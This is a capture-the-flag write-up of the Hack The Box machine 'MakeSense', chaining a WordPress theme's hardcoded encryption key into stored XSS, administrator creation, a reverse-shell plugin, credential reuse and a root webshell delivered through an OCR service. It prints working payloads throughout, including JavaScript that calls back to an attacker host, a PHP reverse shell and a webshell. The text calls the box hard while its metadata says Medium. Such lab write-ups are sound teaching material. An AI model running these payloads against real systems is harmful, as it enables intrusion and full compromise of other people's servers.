MakeSense
MakeSense is a hard-difficulty Linux box built around a WordPress 7.0 site running a bespoke webagency theme, an admin-review bot, and a root-owned OCR web service.
- platform
- Hack The Box
- target_os
- Linux (Ubuntu 24.04)
- difficulty
- Medium
- season
- Season 11
- logged
- August 4, 2026
Summary of Exploitation
MakeSense is a hard-difficulty Linux box built around a WordPress 7.0 site running a bespoke webagency theme, an admin-review bot, and a root-owned OCR web service. Starting from no credentials, the chain proceeds as follows:
- WordPress enumeration reveals a stock-patched WP 7.0 core but a custom
webagencytheme shipping a client-side voice-transcription feature with a hardcoded AES-GCM key and anapplySymbolMapping()routine explicitly built “for XSS injection.” - Client-side crypto bypass → stored XSS — because the encryption key and scheme are embedded in the theme’s JavaScript, an arbitrary
<script>payload is encrypted offline and POSTed straight to thesave_voice_resultsAJAX handler, bypassing the browser entirely. An admin bot renders the stored payload inwp-admin. - Admin-session abuse →
www-data— withDISALLOW_FILE_EDITset, the XSS creates a new administrator viauser-new.php; a malicious plugin upload then yields a shell aswww-data. - Credential reuse →
walter—wp-config.phpleaks the WordPress DB password, reused for thewaltersystem account. - OCR output-as-code → root — a root-run OCR service (
php -S ... -t /root/ocr4/) writes recognized text to an attacker-chosen filename inside its own docroot. Rendering a PHP webshell as an image and saving it as.phpproduces root code execution.
Recon Phase
An initial full-port Nmap scan was run against the target:
nmap -p- -A -Pn -oA nmap.txt --min-rate 1000 <target-ip>
Results (abridged):
| Port | State | Service | Version |
|---|---|---|---|
| 22 | open | ssh | OpenSSH 9.6p1 Ubuntu |
| 80 | filtered | http | (loopback-bound, not externally reachable) |
| 443 | open | ssl/http | Apache 2.4.58, WordPress 7.0, CN=makesense.htb |
| 8001 | filtered | — | (loopback-bound OCR service, seen post-foothold) |
Key takeaways from recon:
- The site is a WordPress 7.0 install on the vhost makesense.htb, theme “Agency LLC.”
- Ports 80 and 8001 are
filtered— firewalled loopback services that only become relevant after landing on the host. - The TLS certificate is self-signed (valid until 2126), so all tooling needs
-k/--disable-tls-checks.
The vhost was added to /etc/hosts:
echo "<target-ip> makesense.htb" | sudo tee -a /etc/hosts
Web Enumeration
WordPress was scanned over TLS:
wpscan --url https://makesense.htb --disable-tls-checks \
--enumerate ap,at,u,cb,dbe --plugins-detection aggressive
Results:
| Finding | Detail |
|---|---|
| WP core | 7.0 — latest, fully patched (not the entry point) |
| Theme | webagency v1.0 — bespoke, placeholder example.com URIs |
| XML-RPC | enabled |
| Uploads listing | enabled (default 2026/ only) |
| admin REST profile | /wp/v2/users/1 leaks "url":"http://localhost:8000" |
The custom webagency theme is the central hint: it exposes a “voice call” feature backed by whisper-wrapper.js, and the homepage hands an unauthenticated AJAX nonce to any visitor:
var webagency_ajax = {"ajax_url":".../admin-ajax.php","nonce":"9a500926fd", ...};
REST namespaces were all core (wp/v2, wp-site-health/v1, wp-block-editor/v1, wp-abilities/v1) — no custom endpoint — so the theme’s client-side JavaScript is the attack surface, not a server-side handler.
Application Analysis
Two theme scripts define the flow — whisper-wrapper.js (the transcriber/crypto) and main.js (the AJAX submit wiring).
Notable findings:
| Artifact | Note |
|---|---|
ENCRYPTION_KEY |
Hardcoded: bLs6z8iv3gWpsvyeabFosDjb4YQe7jdU13rI |
encryptPayload() |
AES-256-GCM, key = SHA-256(KEY), 12-byte IV prepended, base64 |
applySymbolMapping() |
Commented “for XSS injection” — maps words → HTML symbols |
save_voice_results action |
Server decrypts encrypted_payload and stores it against a post |
| Contact form path | processTextSubmission sends raw text as transcription, unmapped |
Transcription and summarization run client-side (Transformers.js). The server only decrypts and stores the result, which the admin later renders in wp-admin — a stored XSS sink whose ciphertext can be forged offline using the embedded key.
Exploitation Phase
Step 1 — Client-side crypto bypass → stored XSS
Because the key and scheme are known, the entire voice/transcription pipeline is bypassed. The contact form (submit_contact_form) returns a post_id; the forged encrypted_payload (raw <script> in both transcription and summary) is then stored against it via save_voice_results.
#!/usr/bin/env python3
import json, os, base64, hashlib, requests, urllib3, sys
from cryptography.hazmat.primitives.ciphers.aead import AESGCM
urllib3.disable_warnings()
BASE, NONCE = "https://makesense.htb", "9a500926fd"
KEY = hashlib.sha256(b'bLs6z8iv3gWpsvyeabFosDjb4YQe7jdU13rI').digest()
XSS = sys.argv[1] if len(sys.argv) > 1 else '<script src="http://<attacker-ip>:8000/x.js"></script>'
def enc(p):
iv = os.urandom(12)
return base64.b64encode(iv + AESGCM(KEY).encrypt(iv, json.dumps(p).encode(), None)).decode()
s = requests.Session(); s.verify = False
r = s.post(f"{BASE}/wp-admin/admin-ajax.php", data={
"action":"submit_contact_form","nonce":NONCE,
"name":"a","email":"a@b.c","phone":"1","message":"please review this submission now"})
pid = r.json()["data"]["post_id"]; print("[+] post_id:", pid)
s.post(f"{BASE}/wp-admin/admin-ajax.php", files={
"action":(None,"save_voice_results"), "nonce":(None,NONCE),
"post_id":(None,str(pid)), "encrypted_payload":(None, enc({"transcription":XSS,"summary":XSS}))})
Note on the nonce.
9a500926fdis printed in the public page source, so it validates for unauthenticated submissions — no session required.
A GET /x.js in the listener log confirms the admin bot executed the payload.
Step 2 — Admin-session abuse → new administrator
wp-admin cookies are HttpOnly, so the payload acts as the admin rather than stealing cookies. plugin-editor.php was disabled (DISALLOW_FILE_EDIT — no _wpnonce present, confirmed via a beacon), so x.js created a new administrator through user-new.php instead:
(async () => {
const b = 'https://makesense.htb/wp-admin';
const log = (t) => fetch('http://<attacker-ip>:8000/log?' + encodeURIComponent(t));
const h = await (await fetch(b + '/user-new.php', { credentials: 'include' })).text();
const n = h.match(/name="_wpnonce_create-user"\s+value="([a-f0-9]+)"/)?.[1];
if (!n) { log('no_nonce'); return; }
const body = new URLSearchParams([
['action','createuser'], ['_wpnonce_create-user', n],
['user_login','pwn'], ['email','pwn@makesense.htb'],
['pass1','Passw0rd!2026'], ['pass2','Passw0rd!2026'],
['role','administrator'], ['createuser','Add New User']
]);
const r = await fetch(b + '/user-new.php', { method:'POST', credentials:'include', body });
log('createuser_http:' + r.status);
})();
Gotcha: the create-user nonce field is
_wpnonce_create-user(hyphenated). Build the POST body with theURLSearchParamsarray form, not object keys, or the field name breaks.Beacon channel:
/log?...requests 404 on the plainhttp.serverbut still appear in its request log — a simple exfil path back from the admin’s browser.
Step 3 — Malicious plugin upload → shell as www-data
Plugin upload is not governed by DISALLOW_FILE_EDIT, so logging in as the new admin (pwn:Passw0rd!2026) and uploading a single-file plugin gives code execution.
pwnplug/pwnplug.php:
<?php
/* Plugin Name: pwnplug */
$s=fsockopen("<attacker-ip>",9001);
proc_open("/bin/bash -i",array(0=>$s,1=>$s,2=>$s),$pipes);
zip -r pwnplug.zip pwnplug
# Plugins -> Add New -> Upload Plugin -> Install Now -> Activate
# with: rlwrap nc -lvnp 9001
Activation fired the reverse shell as www-data.
Step 4 — Credential reuse → walter
wp-config.php leaked the DB credentials, reused for the walter system account:
grep -E "DB_USER|DB_PASSWORD" /var/www/html/wp-config.php
# DB_USER = walter
# DB_PASSWORD = JbhHDAEgXvri3!
su walter # JbhHDAEgXvri3!
Gotcha: a
creds.txtreferencingroot : ...and a:60764“Remote Desktop” is the Exegol container’s own access info, not the target — a deliberate distraction. Ignore it.
User flag:
cat /home/walter/user.txt
Step 5 — OCR output-as-code → root
Process and socket enumeration located the loopback service behind the original filtered 8001:
ss -tlnp # 127.0.0.1:8001 listening
ps -eo user,pid,cmd | grep 8001
# root php -S 127.0.0.1:8001 -t /root/ocr4/ <- runs as ROOT, docroot /root/ocr4/
The :8001 service (“OCR Protected” Basic auth; creds walter:JbhHDAEgXvri3!) is a canvas → tesseract OCR app running as root. It lets a user save the recognized text to a chosen filename under saved/.
Ruling out the wrong paths:
| Attempted vector | Result |
|---|---|
filename path traversal |
basename()’d — ../../ and ....// both fail |
| MIME subtype → tesseract arg | subtype validated; extension injection rejected pre-exec |
filename command injection |
strips $ ( ) / ; " ', spaces→_ (a$(id)b→a__id_b) |
The actual primitive is not injection but control of both content and destination: the OCR content (recognized text) becomes the file body, the filename (.php) becomes the destination, and that destination sits under a root-owned PHP docroot. A .php file of recognized PHP code is therefore executed by the root php -S server — no metacharacters required.
The only real difficulty is OCR fidelity: the rendered payload must transcribe back byte-for-byte. Render a crisp monospace image off-box (no image tooling on target):
PAY='<?php system($_GET[0]);'
convert -size 900x120 xc:white -gravity center -font DejaVu-Sans-Mono \
-pointsize 40 -fill black -annotate 0 "$PAY" payload.png
tesseract payload.png stdout # VERIFY exact byte-for-byte match first
Submit through the session-bound flow and execute:
B='-u walter:JbhHDAEgXvri3!'
PNG=$(base64 -w0 payload.png); rm -f cj
ID=$(curl -s $B -c cj -b cj 'http://127.0.0.1:8001/' \
--data-urlencode "canvas_image=data:image/png;base64,$PNG" \
| grep -oP 'name="ocr_id" value="\K[^"]*')
curl -s $B -c cj -b cj 'http://127.0.0.1:8001/' \
--data-urlencode "ocr_id=$ID" --data-urlencode "filename=sh.php" --data 'save_output='
curl -s $B -c cj -b cj 'http://127.0.0.1:8001/saved/sh.php?0=id'
# uid=0(root) gid=0(root) groups=0(root)
Gotcha 1 — session binding. The
ocr_idis stored server-side keyed to the PHP session. Recognizing and saving from separate curl calls without a shared cookie jar returns “Invalid OCR request.” Use-c cj -b cjso both requests share onePHPSESSID.Gotcha 2 — OCR fidelity is the exploit. A stray space or a
$→Smisread yields un-parseable PHP and a blank 200. Confirm the recognizedoutput-textequals the payload exactly before saving; iterate on font/point-size and keep the payload minimal to reduce tricky punctuation.
Root Flag Successfully Obtained
curl -s $B -c cj -b cj 'http://127.0.0.1:8001/saved/sh.php?0=cat%20/root/root.txt'
Key Takeaways
- Hardcoded client-side crypto keys are game over. “Encryption” done in JavaScript with an embedded key is obfuscation; the payload can be forged offline and posted directly to the server sink.
DISALLOW_FILE_EDIT≠ no RCE. Plugin upload remains a code-execution path for any administrator, independent of the file-editor flag.- Credential reuse bridges tiers. The WordPress DB password (
wp-config.php) was reused for thewaltersystem account, turning a web foothold into a shell. - The root bug is a design flaw, not an injection bug. Controlling both the content and the destination of a file written by a root process, where the destination is an executable docroot, is arbitrary code execution — the sanitizer defended against metacharacters but never against writing a
.phpof attacker-chosen content. - OCR as a code-delivery channel. Exploit reliability hinged on transcription accuracy, not on any OCR-engine vulnerability — a memorable twist worth remembering for similar “process-then-store” services.
Full Attack Chain
unauthenticated (WordPress 7.0)
└─ hardcoded AES-GCM key ──> forge encrypted_payload ──> stored XSS
└─ admin bot renders in wp-admin
└─ DISALLOW_FILE_EDIT ──> create admin via user-new.php
└─ plugin upload + activate ──> shell as www-data
└─ wp-config.php reuse ──> walter [USER]
└─ root OCR service (php -S -t /root/ocr4/)
└─ OCR content = PHP, filename = .php in docroot
└─ GET /saved/sh.php ──> root [ROOT]